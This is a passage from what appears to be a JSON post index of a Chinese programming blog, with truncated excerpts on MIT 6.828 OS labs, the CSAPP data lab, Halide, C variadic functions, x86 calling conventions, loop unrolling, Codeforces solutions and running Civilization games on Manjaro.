）","type":"post"},{"categories":["mooc"],"content":"JOS的environments基本可以理解成\"process\"进程的同义词，但是由于\"process\"是一个unix术语，因此使用environment这个词． Part A: User Environments and Exception Handling # 查看　kern/env.c文件，看到三个全局变量: 1 struct Env *envs = NULL; // All environments 2 struct Env *curenv = NULL; // The current env 3 static struct Env *env_free_list; // Free environment list envs会在JOS启动后会指向一个Env structures的数组，表示JOS中的全部environments. 理论上，JOS kernel最多能支持NENV个同时运行的environments.　但是实际上不会远不会达到这个数量． env_free_list是一个链表结构，用来存放当前没有在运行的Env structure.. 和page_free_list　类似． curenv表示的是当前正在运行的environment,当JOS刚刚启动，第一个environment运行之前，curenv的值为NULL. 接下来我们来阅读一下inc/env.h文件 1 2 /* See COPYRIGHT for copyright information. */ 3 4 #ifndef JOS_INC_ENV_H 5 #define JOS_INC_ENV_H 6 7 #include \u003cinc/types.h\u003e 8 #include \u003cinc/trap.h\u003e 9 #include \u003cinc/memlayout.h\u003e 10 11 typedef int32_t envid_t; 12 13 // An environment ID 'envid_t' has three parts: 14 // 15 // +1+---------------21-----------------+--------10--------+ 16 // |0| Uniqueifier | Environment | 17 // | | | Index | 18 // +------------------------------------+------------------+ 19 // \\--- ENVX(eid) --/ 20 // 21 // The environment index ENVX(eid) equals the environment's index in the 22 // 'envs[]' array. The uniqueifier distinguishes environments that were 23 // created at different times, but share the same environment index. 24 // 25 // All real environments are greater than 0 (so the sign bit is zero). 26 // envid_ts less than 0 signify errors. The envid_t == 0 is special, and 27 // stands for the current environment. 28 29 #define LOG2NENV 10 30 #define NENV (1 \u003c\u003c LOG2NENV) 31 #define ENVX(envid) ((envid) \u0026 (NENV - 1)) 32 33 // Values of env_status in struct Env 34 enum { 35 ENV_FREE = 0, 36 ENV_DYING, 37 ENV_RUNNABLE, 38 ENV_RUNNING, 39 ENV_NOT_RUNNABLE 40 }; 41 42 // Special environment types 43 enum En","date":"2019-03-03","externalUrl":null,"permalink":"/2019/03/mit-6-828-lab-3-user-environments/","section":"Posts","summary":"JOS的environments基本可以理解成\"process\"进程的同义词，但是由于\"process\"是一个unix术语，因此使用environment这个词．","tags":["6.828"],"title":"【施工中】MIT 6.828 lab 3: User Environments","type":"post"},{"categories":["mooc"],"content":"CSAPP第二章的内容以前组成原理基本都学过…所以就简单翻了翻。 对应的lab是用位运算实现各种有的没的… 题目基本都很tricky… 除了用到一些常规的位运算性质，还用到了一些奇怪的条件: * ~0x7FFFFFFF = 0x7FFFFFFF + 1 * 0xFFFFFFFF +1 = 0x00000000 * 0 == ~0+1 唯一让我觉得比较有趣的是how many bits这道题 题目要求是给一个32-bit signed int,问最少用多少位能得到它的补码表示。 考虑正数，显然，高位的连续的多个0是不必要的，只需要一个符号位的0即可。 那么对于负数，**高位的连续的多个1也是不必要的。 **原因是，-2^k + 2^(k-1) = -2^(k-1),也就是说，去掉两个连续的1中高位的那个，数值没有改变。 我们可以将正数和负数统一来看，都是找到最高位的0和1的交界。 这可以通过和相邻的位置求异或，找到最高位的1的方式来实现。 接下来就是如何找一个数的最高位的1的位置了。 方法是构造一个单调的函数f,假设最高位位置为a,那么f((a,32))=0,f([0,a])=1. 然后在函数f上二分。 全部问题的代码如下,思路写在注释里了。还有3个涉及浮点数的问题之后补。 1/* 2 * bitXor - x^y using only ~ and \u0026 3 * Example: bitXor(4, 5) = 1 4 * Legal ops: ~ \u0026 5 * Max ops: 14 6 * Rating: 1 7 */ 8/* 0 0 -\u003e 0 9 0 1 -\u003e 1 10 1 0 - \u003e 1 11 1 1 - \u003e 0 12*/ 13// ~(~a \u0026 ~b)\u0026~(a\u0026b) 14int bitXor(int x, int y) { 15 int ans = ~(~x \u0026 ~y)\u0026(~(x\u0026y)); 16 // printf(\"%d\\n\",ans); 17 return ans; 18} 19/* 20 * tmin - return minimum two's complement integer 21 * Legal ops: ! ~ \u0026 ^ | + \u003c\u003c \u003e\u003e 22 * Max ops: 4 23 * Rating: 1 24 */ 25/* 26 0X10000000 27*/ 28int tmin(void) { 29 30 int ans = 0x1 \u003c\u003c 31; 31 return ans; 32 33 34} 35//2 36/* 37 * isTmax - returns 1 if x is the maximum, two's complement number, 38 * and 0 otherwise 39 * Legal ops: ! ~ \u0026 ^ | + 40 * Max ops: 10 41 * Rating: 1 42 * 0x7FFFFFFF 43 */ 44int isTmax(int x) { 45 /* 46 大体思路首先是根据，如果x是最大值0x7FFFFFFF,那么~x和x+1(自然溢出)应该相等。 47 不能用等号，但是我们可以用异或。x==y 等价于 !(x^y). 因此有了后半段!(x+1)^(~x) 48 但是满足这个条件的还有-1,也就是0xFFFFFFFF,因此我们需要排除掉-1. 49 还是用异或的性质，这回是0异或者任何数都等于其本身。 50 因此如果x为-1，那么前后两部分都为1，结果为0. 51 如果x为TMAX,那么前面为0，后面为1，结果为1. 52 如果x为其他任何数，前后结果都应为0. 结果为0。 53 */ 54 return (!(x+1))^!((x+1)^(~x)); 55} 56/* 57 * allOddBits - return 1 if all odd-numbered bits in word set to 1 58 * where bits are numbered from 0 (least significant) to 31 (most significant) 59 * Examples allOddBits(0xFFFFFFFD) = 0, a","date":"2019-02-28","externalUrl":null,"permalink":"/2019/02/csapp-data-lab/","section":"Posts","summary":"CSAPP第二章的内容以前组成原理基本都学过…所以就简单翻了翻。","tags":["csapp"],"title":"【施工完成】CSAPP data lab","type":"post"},{"categories":["随笔杂谈"],"content":"系统版本为Manjaro 18.0.3 Illyria 运行文明5比较容易，只需要设置启动选项为: LD_PRELOAD=/usr/lib32/libopenal.so.1 %command% 文明6运行会报错 undefined symbol: FT_Done_MM_Var 解决办法是 在终端中用如下办法运行steam: LD_PRELOAD=/usr/lib/libfreetype.so steam 参考链接","date":"2019-02-23","externalUrl":null,"permalink":"/2019/02/manjaro-archlinux-civilization/","section":"Posts","summary":"系统版本为Manjaro 18.0.3 Illyria 运行文明5比较容易，只需要设置启动选项为:","tags":["steam","文明"],"title":"manjaro /archlinux 下 steam 文明5/6(civilization V/VI)的运行方法","type":"post"},{"categories":["优化"],"content":"**Halide is a programming language designed to make it easier to write high-performance image and array processing code on modern machines. ** # halide有两个特性比较吸引人。一个是对于各种平台架构的支持。 CPU architectures: X86, ARM, MIPS, Hexagon, PowerPC Operating systems: Linux, Windows, macOS, Android, iOS, Qualcomm QuRT GPU Compute APIs: CUDA, OpenCL, OpenGL, OpenGL Compute Shaders, Apple Metal, Microsoft Direct X 12 另一个是把计算什么和怎么计算(何时计算)分离开来。 Halide的Schedule可以由程序员来指定一些策略，指定硬件的buffer大小，缓冲线的相关设置，这样可以根据不同的计算硬件的特性来实现高效率的计算单元的调度，而图像算法的计算实现却不需要修改。 Halide的运行有两种方式，一种是JIT的模式，另一种是AOT的模式。JIT模式使用起来比较方便，可以直接将算法和Halide的代码生成generator封装成一个类，在程序的其他部分调用这个类即可。在嵌入式环境和交叉编译环境下一般使用AOT模式，此时需要调用compiler函数将算法代码和Halide的代码生成generator编译位目标机器的代码，生成一个.o目标文件和.h头文件。然后在独立的目标机器的应用的工程的源代码中通过头文件调用算法实现的计算函数，并在build的时候链接上.o文件，这样就得到一个可以在目标机器上运行的用Halide实现算法的程序了。一般DSP上都是这种方式来做的。 可以直接参考tutorials 来学习 下面是一段将Halide Buffer转化成opencv Mat的代码，用于调试。 1 2 // Include some support code for loading pngs. 3 // #include \"halide_image_io.h\" 4 #include \u003ciostream\u003e 5 #include \"para_norm.h\" 6 #include \"HalideBuffer.h\" 7 #include \"clock.h\" 8 #include \"halide_image_io.h\" // for Halide::tools to load image. just for debug 9 #include \u003copencv2/opencv.hpp\u003e // to show image 10 11 // #include \"Halide.h\" 12 using namespace std; 13 using namespace cv; 14 using namespace Halide; 15 using namespace Halide::Runtime; 16 // using namespace Halide::Tools; 17 void convertHalide2Mat(const Buffer\u003cuint8_t\u003e \u0026src, cv::Mat \u0026dest) 18 { 19 if (dest.empty()) 20 dest.create(cv::Size(src.width(), src.height()), CV_MAKETYPE(CV_8U, src.channels())); 21 const int ch = dest.channels(); 22 if (ch == 1) 23 { 24 for (int j = 0; j \u003c dest.rows; j++) 25 { 26 for (int i = 0; i \u003c dest.cols; i++) 27 { 28 dest.at\u003cuchar\u003e(j, i) = src(i, j); 29 } 30 } 31 } 32 else if (ch == 3) 33 { 34 for (int j = ","date":"2019-02-18","externalUrl":null,"permalink":"/2019/02/halide-notes/","section":"Posts","summary":"**Halide is a programming language designed to make it easier to write high-performance image and array processing code on modern machines. ** # halide有两个特性比较吸引人。一个是对于各种平台架构的支持。","tags":["halide","图像处理"],"title":"【施工中】 halide学习笔记","type":"post"},{"categories":["mooc"],"content":"2019年2月24:完成了除了\"Challenge\"以外的全部练习和问题. 总共花费15个小时. # 2019年2月26:完成\"Challenge 2\"(应该是最简单的一个orz，只花了不到一个小时) # Part 1: Physical Page Management # 操作系统必须时刻追踪哪些物理内存在使用，哪些物理内存没有在使用。 一个问题是， Ex 1. In the file kern/pmap.c, you must implement code for the following functions (probably in the order given). boot_alloc() mem_init() (only up to the call to check_page_free_list(1)) page_init() page_alloc() page_free() check_page_free_list() and check_page_alloc() test your physical page allocator. You should boot JOS and see whether check_page_alloc() reports success. Fix your code so that it passes. You may find it helpful to add your own assert()s to verify that your assumptions are correct. 练习1要求写一个physical page allocator。我们先看第一个函数boot_alloc() 1 // This simple physical memory allocator is used only while JOS is setting 2 // up its virtual memory system. page_alloc() is the real allocator. 3 // 4 // If n\u003e0, allocates enough pages of contiguous physical memory to hold 'n' 5 // bytes. Doesn't initialize the memory. Returns a kernel virtual address. 6 // 7 // If n==0, returns the address of the next free page without allocating 8 // anything. 9 // 10 // If we're out of memory, boot_alloc should panic. 11 // This function may ONLY be used during initialization, 12 // before the page_free_list list has been set up. 13 static void * 14 boot_alloc(uint32_t n) 15 { 16 static char *nextfree; // virtual address of next byte of free memory 17 char *result; 18 19 // Initialize nextfree if this is the first time. 20 // 'end' is a magic symbol automatically generated by the linker, 21 // which points to the end of the kernel's bss segment: 22 // the first virtual address that the linker did *not* assign 23 // to any kernel code or global variables. 24 if (!nextfree) { 25 extern char end[]; 26 nextfree","date":"2019-02-14","externalUrl":null,"permalink":"/2019/02/mit-6-828-lab-2/","section":"Posts","summary":"2019年2月24:完成了除了\"Challenge\"以外的全部练习和问题. 总共花费15个小时. # 2019年2月26:完成\"Challenge 2\"(应该是最简单的一个orz，只花了不到一个小时) # Part 1: Physical Page Management # 操作系统必须时刻追踪哪些物理内存在使用，哪些物理内存没有在使用。","tags":["6.828"],"title":"【施工完毕】MIT 6.828 lab 2: Memory Management","type":"post"},{"categories":["c++","mooc"],"content":"说起C语言的变长参数，可能听起来比较陌生，因为很少会需要自己实现。不过想一下scanf和printf，参数个数的确是不固定的。 stdarg.h 中提供以一套机制来实现变长参数。以及，要说明的是，变长参数不是什么黑魔法，原理依赖于stack frame的结构，具体可以参考x86-calling-conventions 简单来说，由于函数参数入栈的顺序是固定的，**因此一旦我们知道某函数帧的栈上的一个固定参数的位置，我们完全有可能推导出其他变长参数的位置 ** 在实现上，需要了解的是： * va_list，一个类型，可以看做是变长参数列表； * [va_start](http://en.cppreference.com/w/cpp/utility/variadic/va_start)，用来初始化变长参数列表的宏，声明为void va_start( va_list ap, parm_n ); ap为va_list变量，parm_n为变长参数前一个变量（C语言要求至少有一个named variable作为函数的parameter) * [va_arg](http://en.cppreference.com/w/cpp/utility/variadic/va_arg),用来得到下一个参数的宏，声明为T va_arg( va_list ap, T ); **返回的类型取决于传入的类型T。特别注意:\"If `va_arg` is called when there are no more arguments in `ap`, the behavior is undefined.\"** * [va_end](http://en.cppreference.com/w/cpp/utility/variadic/va_end) ,用来将va_list释放的宏。 下面看一个例子就明白怎么用了orz 1 #include \u003cstdio.h\u003e 2 #include \u003cstdarg.h\u003e 3 4 /* print all args one at a time until a negative argument is seen; 5 all args are assumed to be of int type */ 6 void printargs(int arg1, ...) 7 { 8 va_list ap; 9 int i; 10 11 va_start(ap, arg1); 12 for (i = arg1; i \u003e= 0; i = va_arg(ap, int)) 13 printf(\"%d \", i); 14 va_end(ap); 15 putchar('\\n'); 16 } 17 18 int main(void) 19 { 20 printargs(5, 2, 14, 84, 97, 15, -1, 48, -1); 21 printargs(84, 51, -1); 22 printargs(-1); 23 printargs(1, -1); 24 return 0; 25 } 26 27 28 output: 29 5 2 14 84 97 15 30 84 51 31 32 1 如果想研究c语言中变长参数的具体实现，可以参考 也谈C语言变长参数 参考资料: Variable numbers of arguments","date":"2019-02-01","externalUrl":null,"permalink":"/2019/02/variadic-function-of-c/","section":"Posts","summary":"说起C语言的变长参数，可能听起来比较陌生，因为很少会需要自己实现。不过想一下scanf和printf，参数个数的确是不固定的。","tags":["variadic function"],"title":"C语言变长参数","type":"post"},{"categories":["mooc","工程"],"content":"x86的调用约定主要说的是这几件事: The order in which atomic (scalar) parameters, or individual parts of a complex parameter, are allocated How parameters are passed (pushed on the stack, placed in registers, or a mix of both) Which registers the called function must preserve for the caller (also known as: callee-saved registers or non-volatile registers) How the task of preparing the stack for, and restoring after, a function call is divided between the caller and the callee 调用约定实际上并不唯一 我们比较关注gcc编译器下的cdecl(C declaration) 对于如下这段代码: 1 2 int callee(int, int, int); 3 4 int caller(void) 5 { 6 return callee(1, 2, 3) + 5; 7 } 调用过程如下: 1caller: 2 ; make new call frame 3 ; (some compilers may produce an 'enter' instruction instead) 4 push ebp ; save old call frame 5 mov ebp, esp ; initialize new call frame 6 ; push call arguments, in reverse 7 ; (some compilers may subtract the required space from the stack pointer, 8 ; then write each argument directly, see below. 9 ; The 'enter' instruction can also do something similar) 10 ; sub esp, 12 : 'enter' instruction could do this for us 11 ; mov [ebp-4], 3 : or mov [esp+8], 3 12 ; mov [ebp-8], 2 : or mov [esp+4], 2 13 ; mov [ebp-12], 1 : or mov [esp], 1 14 push 3 15 push 2 16 push 1 17 call callee ; call subroutine 'callee' 18 add eax, 5 ; modify subroutine result 19 ; (eax is the return value of our callee, 20 ; so we don't have to move it into a local variable) 21 ; restore old call frame 22 ; (some compilers may produce a 'leave' instruction instead) 23 ; add esp, 12 ; remove arguments from frame, ebp - esp = 12. 24 ; compilers will usually produce the following instead, 25 ; which is just as fast, and, unlike the add instruction, 26 ; also works for variable length arguments 27 ; and variable length arrays allocated on the stack. 28 mov esp, ebp","date":"2019-01-31","externalUrl":null,"permalink":"/2019/01/x86-calling-conventions/","section":"Posts","summary":"x86的调用约定主要说的是这几件事: The order in which atomic (scalar) parameters, or individual parts of a complex parameter, are allocated How parameters are passed (pushed on the stack, placed in registers, or a mix of both) Which registers the called function must preserve for the caller (also known as: callee-saved registers or non-volatile registers) How the task of preparing the stack for, and restoring after, a function call is divided between the caller and the callee 调用约定实际上并不唯一","tags":["call stack","gcc"],"title":"x86 calling conventions","type":"post"},{"categories":["mooc"],"content":"花费了30+小时，终于搞定了orz # Part 1: PC Bootstrap # The PC’s Physical Address Space # 8086/8088时代 # 1+------------------+ \u003c- 0x00100000 (1MB) 2| BIOS ROM | 3+------------------+ \u003c- 0x000F0000 (960KB) 4| 16-bit devices, | 5| expansion ROMs | 6+------------------+ \u003c- 0x000C0000 (768KB) 7| VGA Display | 8+------------------+ \u003c- 0x000A0000 (640KB) 9| | 10| Low Memory | 11| | 12+------------------+ \u003c- 0x00000000 由于8086/8088只有20跟地址线，因此物理内存空间就是2^20=1MB.地址空间从0x00000到0xFFFFF.其中从0x00000开始的640k空间被称为\"low memory\"，是PC真正能使用的RAM。从 0xA0000 到 0xFFFFF　的384k的non-volatile memory被硬件保留，用作video display buffers和BIOS等。 80286/80386时代及以后 # 为了保持向后兼容，因此0-1MB的空间还是和原来保持一致。因此地址空间似乎存在一个“洞”（为什么我觉得其实是两个“洞”。。。不是空着的才叫“洞”吗），PC能使用的RAM被这个“洞”（也就是0xA0000 到 0xFFFFF)分成了0x00000000到0x000BFFFF的640k和 0x00100000到0xFFFFFFFF两部分。 1+------------------+ \u003c- 0xFFFFFFFF (4GB) 2| 32-bit | 3| memory mapped | 4| devices | 5| | 6/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\ 7 8/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\ 9| | 10| Unused | 11| | 12+------------------+ \u003c- depends on amount of RAM 13| | 14| | 15| Extended Memory | 16| | 17| | 18+------------------+ \u003c- 0x00100000 (1MB) 19| BIOS ROM | 20+------------------+ \u003c- 0x000F0000 (960KB) 21| 16-bit devices, | 22| expansion ROMs | 23+------------------+ \u003c- 0x000C0000 (768KB) 24| VGA Display | 25+------------------+ \u003c- 0x000A0000 (640KB) 26| | 27| Low Memory | 28| | 29+------------------+ \u003c- 0x00000000 此外，在地址空间的最上面一部分，通常被BIOS保留用于 32-bit PCI devices的memory mapped. memory mapped是对于memory和I/O设备使用相同的地址空间的一种I/O寻址方式。具体可以参考[Memory-mapped I/O](https://en.wikipedia.org/wiki/Memory-mapped_I/O)。PCI设备具体可以参考[PCI_Express](https://en.wikipedia.org/wiki/PCI_Express)和[深入PCI与PCIe之一：硬件篇](https://zhuanlan.zhihu.com/p/26172972) 目前处理器已经可以支持超过4GB大小的内存空间。因此为了保持后向兼容性，地址空间又会多一个\"洞\"。 The ROM BIOS # 用qemu模拟启动，观察到进入BIOS执行的第一条命令为 [f000:fff0] 0xffff0: ljmp $0xf000,$0x","date":"2019-01-24","externalUrl":null,"permalink":"/2019/01/mit-6-828-lab-1/","section":"Posts","summary":"花费了30+小时，终于搞定了orz # Part 1: PC Bootstrap # The PC’s Physical Address Space # 8086/8088时代 # 1+------------------+ \u003c- 0x00100000 (1MB) 2| BIOS ROM | 3+------------------+ \u003c- 0x000F0000 (960KB) 4| 16-bit devices, | 5| expansion ROMs | 6+------------------+ \u003c- 0x000C0000 (768KB) 7| VGA Display | 8+------------------+ \u003c- 0x000A0000 (640KB) 9| | 10| Low Memory | 11| | 12+------------------+ \u003c- 0x00000000 由于8086/8088只有20跟地址线，因此物理内存空间就是2^20=1MB.地址空间从0x00000到0xFFFFF.其中从0x00000开始的640k空间被称为\"low memory\"，是PC真正能使用的RAM。从 0xA0000 到 0xFFFFF　的384k的non-volatile memory被硬件保留，用作video display buffers和BIOS等。","tags":["6.828"],"title":"【施工完成】MIT 6.828 lab 1: C, Assembly, Tools and Bootstrapping","type":"post"},{"categories":["优化","工程"],"content":"迫于生计，最近要学习halide 先去学习/复习一下常见的编译优化技巧。 loop unrolling，也就是循环展开，顾名思义，就是把循环展开来写。 1normal loop: 2int x; 3 for (x = 0; x \u003c 100; x++) 4 { 5 delete(x); 6 } 7 8after loop unrolling: 9int x; 10 for (x = 0; x \u003c 100; x += 5 ) 11 { 12 delete(x); 13 delete(x + 1); 14 delete(x + 2); 15 delete(x + 3); 16 delete(x + 4); 17 } 循环展开是一种优化，可以手动实现也可以编译器自动实现。 为什么要将循环展开？ # * 循环每次都需要判断终止条件，展开后可以消除这部分开销。 * 减少[分支预测](https://en.wikipedia.org/wiki/Branch_predictor)开销。循环里的分支是指“跳出循环”还是“进行下一次迭代” * [vectorization](https://en.wikipedia.org/wiki/Automatic_vectorization) 1for (int y = 0; y \u003c 4; y++) { 2 for (int x_outer = 0; x_outer \u003c 2; x_outer++) { 3 // The loop over x_inner has gone away, and has been 4 // replaced by a vectorized version of the 5 // expression. On x86 processors, Halide generates SSE 6 // for all of this. 7 int x_vec[] = {x_outer * 4 + 0, 8 x_outer * 4 + 1, 9 x_outer * 4 + 2, 10 x_outer * 4 + 3}; 11 int val[] = {x_vec[0] + y, 12 x_vec[1] + y, 13 x_vec[2] + y, 14 x_vec[3] + y}; 15 printf(\"Evaluating at \u003c%d, %d, %d, %d\u003e, \u003c%d, %d, %d, %d\u003e:\" 16 \" \u003c%d, %d, %d, %d\u003e\\n\", 17 x_vec[0], x_vec[1], x_vec[2], x_vec[3], 18 y, y, y, y, 19 val[0], val[1], val[2], val[3]); 20 } 21 }zhichi 可以看到最里面一层循环被展开以实现向量化.向量化是一种优化计算的手段。该优化的实现基于SIMD 和Advanced_Vector_Extensions(AVX)指令集架构的支持。 * 消除和loop counter(i)有关的除法计算。 1 for (int fused = 0; fused \u003c 4*4; fused++) { 2 int y = fused / 4; 3 int x = fused % 4; 4 printf(\"Evaluating at x = %d, y = %d: %d\\n\", x, y, x + y); 5 } * 消除循环内部的分支。比如loop counter奇数和偶数时会进入不同的分支，那么将循环展开后，就消除了该分支。 有什么缺点？ # * 代码体积增加了。这对于嵌入式设备等往往是不可接受的。 * 代码可读性变差了。 * 单一指令可能会使用更多的寄存器，导致性能下降。 * 如果循环内部包含函数调用，那么和函数的内联(inline)优化会有冲突。原因是，循环展开＋函数展开...代码的体积会爆炸。 参考资料 # * [Optimizing subroutines in assembly language An optimization guide for x86 platforms(chapter 12.12)](https://www.agner.org/optimize/optimizing_asse","date":"2019-01-23","externalUrl":null,"permalink":"/2019/01/loop-unrolling/","section":"Posts","summary":"迫于生计，最近要学习halide 先去学习/复习一下常见的编译优化技巧。 loop unrolling，也就是循环展开，顾名思义，就是把循环展开来写。","tags":["halide","编译原理","循环展开"],"title":"优化学习笔记(1):Loop unrolling","type":"post"},{"categories":["mooc"],"content":"课程主页 这课稍微有点硬核…感觉基础稍微有些不扎实就做不下去orz. 网上似乎是有博客写了6.828的学习笔记，不过我更希望自己能够独立完成，二手的知识，谁知道是对的错的呢…况且课程本身给的参考资料应该还是足够多的。 环境的话，手头没有ubuntu系统，恰好半年前剁了阿里云的轻应用服务器，就在上面做吧。 为了这门课，我读了/计划读以下书籍（随时更新）。大概也是为了检查一遍自己的知识体系。 * [Operating Systems: Three Easy Pieces](http://pages.cs.wisc.edu/~remzi/OSTEP/) 已读完，大概需要120小时 * [PC Assembly Language](https://pdos.csail.mit.edu/6.828/2018/readings/pcasm-book.pdf) 6.828给的汇编参考书籍 每个lab用到的网页形式的参考资料，会在每个lab的博客中分别给出。 最后，放一段《游褒禅山记》中的文字，与君共勉！ 夫夷以近，则游者众；险以远，则至者少。而世之奇伟、瑰怪，非常之观，常在于险远，而人之所罕至焉，故非有志者不能至也。有志矣，不随以止也，然力不足者，亦不能至也。有志与力，而又不随以怠，至于幽暗昏惑而无物以相之，亦不能至也。然力足以至焉，于人为可讥，而在己为有悔；尽吾志也而不能至者，可以无悔矣，其孰能讥之乎？","date":"2019-01-15","externalUrl":null,"permalink":"/2019/01/mit-6-828-overview/","section":"Posts","summary":"课程主页 这课稍微有点硬核…感觉基础稍微有些不扎实就做不下去orz.","tags":["6.828"],"title":"【施工中】MIT 6.828 Operating System Engineering 学习笔记","type":"post"},{"categories":["ACM"],"content":"A,B,C:都很简单，不说了。 D:一棵树，给出树的结构，以及从树根到某个深度为偶数的节点的路径和，问能否构造一种所有节点点权和最小的树，输出最小点权和。 思路： 容易知道，如果想要点权和最小，那么尽可能让靠近树根的点承担更多的点权。 具体做法是，bfs，对于每个节点u，取其儿子中最小的S值求节点u的信息。 比赛的时候wa16…最后发现是答案要用long long存…因为单个路径和是\u003c=1E9的。。多个加起来会超过int… 长时间不打连这种常见的坑都不敏感了啊。。。 1#include \u003cbits/stdc++.h\u003e 2#define PB push_back 3#define fst first 4#define sec second 5#define lson l,m,rt\u003c\u003c1 6#define rson m+1,r,rt\u003c\u003c1|1 7#define ms(a,x) memset(a,x,sizeof(a)) 8typedef long long LL; 9#define pi pair \u003c int ,int \u003e 10#define MP make_pair 11 12using namespace std; 13const double eps = 1E-8; 14const int dx4[4]={1,0,0,-1}; 15const int dy4[4]={0,-1,1,0}; 16const int inf = 0x3f3f3f3f; 17const int N=1E5+7; 18int n; 19vector\u003cint\u003eedge[N]; 20int s[N]; 21int d[N]; 22bool vis[N]; 23int a[N]; 24// void dfs(int u,int dep) 25// { 26// int siz = edge[u].size(); 27// for (auto v: edge[u]) 28// { 29// dfs(v,dep+1); 30// } 31// } 32int bfs() 33{ 34 ms(d,-1); 35 ms(vis,false); 36 queue\u003cint\u003eQ; 37 Q.push(1); //root 38 vis[1] = true; 39 d[1] = s[1]; 40 while (!Q.empty()) 41 { 42 int u = Q.front();Q.pop(); 43 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" \"\u003c\u003cQ.size()\u003c\u003cendl; 44 int min_sum_in_leaf = inf; 45 bool even = false; 46 // cout\u003c\u003c\"v seq:\"; 47 for ( auto v: edge[u]) 48 { 49 // cout\u003c\u003cv\u003c\u003c\" s[v]:\"\u003c\u003cs[v]\u003c\u003c\" \"; 50 if (s[v]==-1) 51 { 52 Q.push(v); 53 d[v] = d[u]; 54 even = true; 55 } 56 if (s[v]!=-1) min_sum_in_leaf = min(min_sum_in_leaf,s[v]); 57 } 58 cout\u003c\u003cendl; 59 if (even) continue; 60 // cout\u003c\u003c\"min_sum_in_leaf:\"\u003c\u003cmin_sum_in_leaf\u003c\u003cendl; 61 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" d[u]:\"\u003c\u003cd[u]\u003c\u003cendl; 62 if (d[u]\u003emin_sum_in_leaf) return -1; //不可能 63 if (min_sum_in_leaf==inf) 64 { 65 // a[u] = 66 continue; 67 } 68 a[u] = min_sum_in_leaf - d[u]; 69 d[u] = min_sum_in_leaf; 70 for ( auto v: edge[u]) 71 { 72 a[v] = s[v] - d[u]; 73 d[v] = s[v]; 74 // cout\u003c\u003c\"v:\"\u003c\u003cv\u003c\u003c\" a[v]:\"\u003c\u003ca[v]\u003c\u003c\" d[v]:\"\u003c\u003cd[v]\u003c","date":"2019-01-06","externalUrl":null,"permalink":"/2019/01/codeforces-round-530-div2/","section":"Posts","summary":"A,B,C:都很简单，不说了。 D:一棵树，给出树的结构，以及从树根到某个深度为偶数的节点的路径和，问能否构造一种所有节点点权和最小的树，输出最小点权和。","tags":["算法竞赛"],"title":"codeforces round 530 div2","type":"post"},{"categories":["ACM"],"content":"好久没玩cf了，竟然还能涨分（虽然我用的小号Orz) 三题，D应该是数学+DP…数学实在是忘干净了。。。 前面三题大体还好，都是1A,不过因为没有提前配置环境。。耽误了一些时间。。。[ A:给出一个扑克牌x，和另一个包含5个扑克牌的集合。问扑克牌x是否和扑克牌集合中至少一张扑克牌的花色或者数字相同。 不多说了。 B:一块钟表（只有一个指针），初始指向12点，需要拨动指针恰好n次(n\u003c=15)，每次可能顺时针，也可能逆时针，拨动的角度范围在[1,180],问是否有一种方案，使得拨动n次后，指针回到12点。 思路：观察下数据范围,n最大才15，最多也不过2^15的情况…既然如此，不如暴力。 枚举的话我记得有三种方法来着。。。但是已经不记得怎么写了。。所以用了最朴素的办法。。。 1#include \u003cbits/stdc++.h\u003e 2using namespace std; 3const int inf = 0x3f3f3f3f; 4#define ms(a,x) memset(a,x,sizeof(a)) 5typedef long long LL; 6int n; 7int a[30]; 8vector\u003cint\u003ebin; 9void cal( int x) 10{ 11 bin.clear(); 12 while (x\u003e0) 13 { 14 bin.push_back(x%2); 15 x/=2; 16 } 17 while (bin.size()\u003cn) 18 { 19 bin.push_back(0); 20 } 21} 22int main() 23{ 24 cin\u003e\u003en; 25 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 26 if (n==1) 27 { 28 puts(\"NO\"); 29 return 0; 30 } 31 int total = 1 \u003c\u003c n; 32 for ( int i = 0 ; i \u003c total ; i++) 33 { 34 cal(i); 35 int ang = 0; 36 // for ( auto x : bin) cout\u003c\u003cx; 37 // cout\u003c\u003c\"bin size:\"\u003c\u003cbin.size()\u003c\u003cendl; 38 for ( int j = 0 ; j \u003c bin.size() ; j++ ) 39 { 40 int x = bin[j]; 41 // cout\u003c\u003c\"x:\"\u003c\u003cx; 42 if (x==0) ang = ang + a[j+1]; 43 else ang = ang - a[j+1]; 44 } 45 // cout\u003c\u003cendl; 46 if (ang0==0) 47 { 48 puts(\"YES\"); 49 return 0; 50 } 51 // cout\u003c\u003cendl; 52 } 53 puts(\"NO\"); 54 55 return 0; 56} C: 给出n(n\u003c=1E5)个括号序列,括号序列可能不合法，现在要从这n个括号序列中，组成尽可能多的有序二元组，使得有序二元组的括号序列合法，并且每个括号序列只能出现在一个有序二元组中，现在问最多能组成多少这样的有序二元组。 思路：我们先考虑一下怎样的两个括号序列组成的有序二元组才是合法的有序序列。容易想到的是，如果两个括号序列本身都是合法的，那么组合在一起也一定是合法的。进一步，对于本身不合法的括号序列，容易知道，其必须只有一种没有完成匹配的括号方向，且该括号方向的数量与相反括号方向的数量相同，才能完成匹配。 因此做法是，对于括号序列预处理，得到该括号序列的状态（本身匹配为0，正数代表’(‘的个数，负数代表’)‘的个数，如果有两个方向同时存在，则直接舍弃掉，因为这种括号序列不可能组成合法的括号序列。预处理之后，用multiset搞一下。 代码写得比较乱…flag存的时候其实没必要存index… 1#include \u003cbits/stdc++.h\u003e 2using namespace std; 3const int inf = 0x3f3f3f3f; 4#define ms(a,x) memset(a,x,sizeof(a)) 5typedef long long LL; 6con","date":"2019-01-05","externalUrl":null,"permalink":"/2019/01/codeforces-hello-2019/","section":"Posts","summary":"好久没玩cf了，竟然还能涨分（虽然我用的小号Orz) 三题，D应该是数学+DP…数学实在是忘干净了。。。","tags":["算法竞赛"],"title":"codeforces hello 2019","type":"post"},{"categories":[],"content":"* \u003cdel\u003eOperating Systems: Three Easy Pieces\u003c/del\u003e * fluent python * \u003cdel\u003e《计算机网络:自顶向下方法》\u003c/del\u003e * 《mysql必知必会》 * PC Assembly Language ( for mit 6.828 )","date":"2019-01-01","externalUrl":null,"permalink":"/2019/01/2019-to-do-list/","section":"Posts","summary":"* \u003cdel\u003eOperating Systems: Three Easy Pieces\u003c/del\u003e * fluent python * \u003cdel\u003e《计算机网络:自顶向下方法》\u003c/del\u003e * 《mysql必知必会》 * PC Assembly Language ( for mit 6.828 )","tags":["随笔杂谈","todo"],"title":"2019 to do 